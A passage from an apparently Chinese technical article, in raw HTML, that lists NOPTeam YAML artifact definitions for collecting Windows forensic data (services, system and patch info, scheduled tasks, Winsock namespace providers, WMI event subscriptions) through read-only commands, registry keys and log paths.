#98c379;line-height: 26px;"><span leaf="">powershell</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-c&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#34;Get-Service | Select *&#34;&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">WMI</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">base_object:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">query:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">SELECT</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">*</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">FROM</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Win32_Service</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">REGISTRY_KEY</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</span><span leaf=""><br/></span></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices</span><span leaf=""><br/></span></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</span><span leaf=""><br/></span></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows\CurrentVersion\RunServices</span><span leaf=""><br/></span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上服务相关信息</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Systeminfo.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">WindowsSysteminfo</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">平台上系统基本信息以及补丁信息。</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">systeminfo</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">[]</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">wmic</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">qfe</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">list</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上系统基本信息以及补丁信息</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">TaskScheduler.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WindowsTaskScheduler&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows 计划任务（Task Scheduler）信息收集。&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;schtasks&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/query&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/fo&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LIST&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/v&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;PATH&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;C:\Windows\System32\Tasks&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_KEY&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\*&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;FILE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;C:\Windows\Tasks\SchedLgU.txt&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;C:\Windows\System32\winevt\Logs\Microsoft-Windows-TaskScheduler*.evtx&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上的计划任务信息。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">WinsockNSP.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WindowsWinsockNSP&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_KEY&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\NameSpace_Catalog5\Catalog_Entries\*&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\NameSpace_Catalog5\Catalog_Entries64\*&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries64\*&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\*&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;WinSock NSP（WinSock Namespace Provider）是指在 Windows 操作系统中实现⽹络套接字编程接⼝（Socket API）的组件之⼀。它负责提供⽹络通信的底层功能，使应⽤程序能\n够通过⽹络进⾏数据传输。\nWinSock NSP 通过⼀组动态链接库（DLL）来实现，这些 DLL 包含了实现⽹络协议栈和通信协议的代码。它们提供了⼀种标准化的编程接⼝，使开发⼈员能够使⽤常⻅的⽹络协议（如TCP/IP、UDP）进⾏⽹络通信。\n通过 WinSock NSP，开发⼈员可以创建套接字、建⽴连接、发送和接收数据等⽹络操作。\n它提供了⼀系列函数和数据结构，使应⽤程序能够⽅便地进⾏⽹络编程，实现⽹络通信功能&#34;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上 WinSock Namespace Provider 信息</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">WMI.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WindowsWmi&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;wmic&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/namespace:&#34;\\root\subscription&#34;&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;path&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;__EventFilter&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;get&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;*&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;wmic&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/namespace:&#34;\\root\DEFAULT&#34;&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;path&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;__EventFilter&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;get&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;*&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;wmic&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/namespace:&#34;\\root\subscription&#34;&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;path&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;__EventConsumer&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;get&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;*&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;wmic&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/namespace:&#34;\\root\DEFAULT&#34;&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;path&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;__EventConsumer&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 